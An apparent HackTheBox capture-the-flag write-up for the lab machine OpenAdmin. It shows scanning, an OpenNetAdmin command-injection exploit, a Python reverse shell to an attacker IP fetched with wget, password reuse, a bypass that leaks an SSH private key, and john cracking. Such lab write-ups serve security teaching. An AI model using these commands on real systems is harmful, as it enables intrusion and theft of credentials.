OpenAdmin (HackTheBox) (English)
Content
HTB OpenAdmin writeup#
HackTheBox OpenAdmin machine write up, easy Linux machine. The process as always: Scan –> Initial foothold –> Own User –> Own Root.
Initial Scan#
# added to hosts as 10.10.10.171 OpenAdmin
$ sudo nmap -sV -sC -sT -O -o nmapinitial OpenAdmin
Scan results
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-07 02:44 CET
Nmap scan report for OpenAdmin (10.10.10.171)
Host is up (0.12s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
| 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open tcpwrapped
1063/tcp filtered kyoceranetdev
10621/tcp filtered unknown
15003/tcp filtered unknown
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=1/7%OT=22%CT=1%CU=35292%PV=Y%DS=2%DC=I%G=Y%TM=5E13E2EC
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ(
OS:SP=106%GCD=1%ISR=10A%TI=Z%CI=Z%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3
OS:=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=7
OS:120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW
OS:7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF
OS:=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=
OS:%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=
OS:0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RI
OS:PCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 136.42 seconds
We got an OpenSSH server, a webserver running Apache and several filtered ports.
The website on port 80 looks like the default, lets launch dirbuster in the background just in case.
There are two paths that looks promising, /music/
and /ona/
. /music/
does not seem to contain anything besides the link to /ona/
, lets analyze /ona/
.
We have an OpenNetAdmin v18.1.1
, which seems to be outdated. Searching for OpenNetAdmin 18.1.1
in Google gives us info about an existing command injection vulnerability, and two potential ways to exploit it, via the Metasploit module or a bash script.
Screnshoot of the Metasploit module in ExploitDB.
Results of searchsploit
:
~$ searchsploit OpenNetAdmin
--------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
--------------------------------------------------------------- ----------------------------------------
OpenNetAdmin 13.03.01 - Remote Code Execution | exploits/php/webapps/26682.txt
OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit) | exploits/php/webapps/47772.rb
OpenNetAdmin 18.1.1 - Remote Code Execution | exploits/php/webapps/47691.sh
--------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
The module is not in Metasploit, we can add it using the instructions provided in this article or use the bash script.
Initial foothold#
I will use the Metasploit module for the convenience, lets add it and try it.
$ mkdir -p ~/.msf4/modules/exploits/php/webapps/
$ cp /usr/share/exploitdb/exploits/php/webapps/47772.rb ~/.msf4/modules/exploits/php/webapps/
$ sudo updatedb
$ msfconsole
=[ metasploit v5.0.67-dev ]
+ -- --=[ 1958 exploits - 1093 auxiliary - 336 post ]
+ -- --=[ 558 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
msf5 > search opennetadmin
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/php/webapps/47772 2019-11-19 excellent Yes OpenNetAdmin Ping Command Injection
msf5 > use 0
msf5 exploit(php/webapps/47772) > show options
Module options (exploit/php/webapps/47772):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /ona/login.php yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
msf5 exploit(php/webapps/47772) >
After configuring it I could not manage to make it work, so lets use the script.
~$ /usr/share/exploitdb/exploits/php/webapps/47691.sh http://openadmin/ona/
$ who
joanna pts/0 Jan 7 15:52 (10.10.14.143)
jimmy pts/1 Jan 7 15:52 (10.10.14.42)
jimmy pts/2 Jan 7 15:52 (10.10.14.244)
jimmy pts/4 Jan 7 15:53 (10.10.15.102)
$ whoami
www-data
We got an initial foothold.
User#
We have a low level shell with www-data privileges, lets try to escalate to user.
First lets get a better shell:
## On our computer
# Create reverseshell
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.75",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]); >shell.py'
# Webserver to send file to target machine, wait for connections with nc
sudo python3 -m http.server 80
nc -lvp 1337
## On the server, create a hidden dir so we do not interfere with other people
www-data@openadmin:...$ mkdir /tmp/.my
www-data@openadmin:...$ wget -O /tmp/.my/shell.py http://10.10.15.75:80/shell.py
www-data@openadmin:...$ python3 /tmp/.my/shell.py
We know that the server is Apache, the first idea that comes to my mind is view the website config files, is case there are any other websites, and to obtain the path from where the files are being served. Listing the sites-available
directory gives us an interesting piece of info:
$ ls -lshA /etc/apache2/sites-available
total 16K
8.0K -rw-r--r-- 1 root root 6.2K Jul 16 18:14 default-ssl.conf
4.0K -rw-r--r-- 1 root root 303 Nov 23 17:13 internal.conf
4.0K -rw-r--r-- 1 root root 1.3K Nov 22 14:24 openadmin.conf
$ cat /etc/apache2/sites-available/internal.conf
Listen 127.0.0.1:52846
<VirtualHost 127.0.0.1:52846>
ServerName internal.openadmin.htb
DocumentRoot /var/www/internal
<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
The internal
site seems interesting, using curl
on the machine gives us a login form. I cannot think of anything easily exploitable (let’s leave SQLi or other web attacks as a last resource) so lets look for other things.
At this point I tried running several enumeration tools but none seemed to give any interesing info, after a lot of ls
ing and cat
ing around and many dead ends I finally found a potential password in /opt/ona/www/local/config/database_settings.inc.php
:
$ cat /opt/ona/www/local/config/database*
<?php
$ona_contexts=array (
'DEFAULT' =>
array (
'databases' =>
array (
0 =>
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
),
),
'description' => 'Default data context',
'context_color' => '#D3DBFF',
),
);
Let’s try the password with SSH
with the three users we know are in the machine, root
, jimmy
y joanna
(as seen in /home
)
~/htb/OpenAdmin$ ssh jimmy@OpenAdmin
The authenticity of host 'openadmin (10.10.10.171)' can't be established.
ECDSA key fingerprint is SHA256:loIRDdkV6Zb9r8OMF3jSDMW3MnV5lHgn4wIRq+vmBJY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'openadmin,10.10.10.171' (ECDSA) to the list of known hosts.
jimmy@openadmin's password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu Jan 9 19:40:21 UTC 2020
System load: 0.26 Processes: 435
Usage of /: 49.2% of 7.81GB Users logged in: 2
Memory usage: 41% IP address for ens160: 10.10.10.171
Swap usage: 0%
=> There is 1 zombie process.
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
41 packages can be updated.
12 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Jimmy home directory is empty, but remember the internal
directory inside /var/www
? Lets have a look now:
jimmy@openadmin:/var/www/internal$ ls -lshA
total 20K
4.0K -rwxrwxr-x 1 jimmy jimmy 918 Jan 9 19:33 a.php
4.0K -rwxrwxr-x 1 jimmy internal 3.2K Nov 22 23:24 index.php
4.0K -rwxrwxr-x 1 jimmy internal 185 Nov 23 16:37 logout.php
4.0K -rwxrwxr-x 1 jimmy internal 339 Nov 23 17:40 main.php
4.0K -rwxrwxr-x 1 jimmy jimmy 916 Jan 9 19:40 test.php
jimmy@openadmin:/var/www/internal$ cat index.php
<?php
[...]
<body>
<h2>Enter Username and Password</h2>
<div class = "container form-signin">
<h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
<?php
$msg = '';
if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
$_SESSION['username'] = 'jimmy';
header("Location: /main.php");
} else {
$msg = 'Wrong username or password.';
}
}
?>
</div> <!-- /container -->
<div class = "container">
<form class = "form-signin" role = "form"
action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);
?>" method = "post">
<h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
<input type = "text" class = "form-control"
name = "username"
required autofocus></br>
<input type = "password" class = "form-control"
name = "password" required>
<button class = "btn btn-lg btn-primary btn-block" type = "submit"
name = "login">Login</button>
</form>
</div>
</body>
</html>
index.php
consists of a login form where if the user and password match we get redirected to /main.php
. Let’s see the contents of main.php
:
jimmy@openadmin:/var/www/internal$ cat main.php
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
As seen in the code, if we are logged in the server will send us joanna’s private key.
We can just comment the check ("//" before the if(!is…) ) and access the file using curl
.
Remember it is good practice to undo your changes or reset the machine after you are done so other users do not get affected.
jimmy@openadmin:/var/www/internal$ cp main.php .main.php
jimmy@openadmin:/var/www/internal$ nano .main.php
jimmy@openadmin:/var/www/internal$ curl 127.0.0.1:52846/.main.php
<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D
kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
</pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
jimmy@openadmin:/var/www/internal$ rm .main.php
We will save the key as joanna.key
, but because it is encrypted we will need to crack it first.
~/htb/OpenAdmin$ nano joanna.key
~/htb/OpenAdmin$ chmod 400 joanna.key
~/htb/OpenAdmin$ ssh joanna@OpenAdmin -i joanna.key
# We do not know the password, ninja does not work
Enter passphrase for key 'joanna.key':
Enter passphrase for key 'joanna.key':
Enter passphrase for key 'joanna.key':
~/htb/OpenAdmin$ python3 /usr/share/john/ssh2john.py joanna.key >pw
/usr/share/john/ssh2john.py:103: DeprecationWarning: decodestring() is a deprecated alias since Python 3.1, use decodebytes()
data = base64.decodestring(data)
~/htb/OpenAdmin$ john --wordlist=/usr/share/wordlists/rockyou.txt pw
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas (joanna.key)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:08 DONE (2020-01-10 01:16) 0.1219g/s 1748Kp/s 1748Kc/s 1748KC/sa6_123..*7¡Vamos!
Session completed
We got a match, lets test it.
~/htb/OpenAdmin$ ssh joanna@OpenAdmin -i joanna.key
Enter passphrase for key 'joanna.key':
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
[...]
Last login: Thu Jan 2 21:12:40 2020 from 10.10.X.X
joanna@openadmin:~$ ls
user.txt
joanna@openadmin:~$ cat user.txt
c9b2cf0************************
And we finally got the user flag.
Root#
Using the tool Linux Smart Enumeration, we discover that we can execute sudo /bin/nano /opt/priv
without providing a password. Using the following nano GTFBin, we get a root shell, and with it the root flag.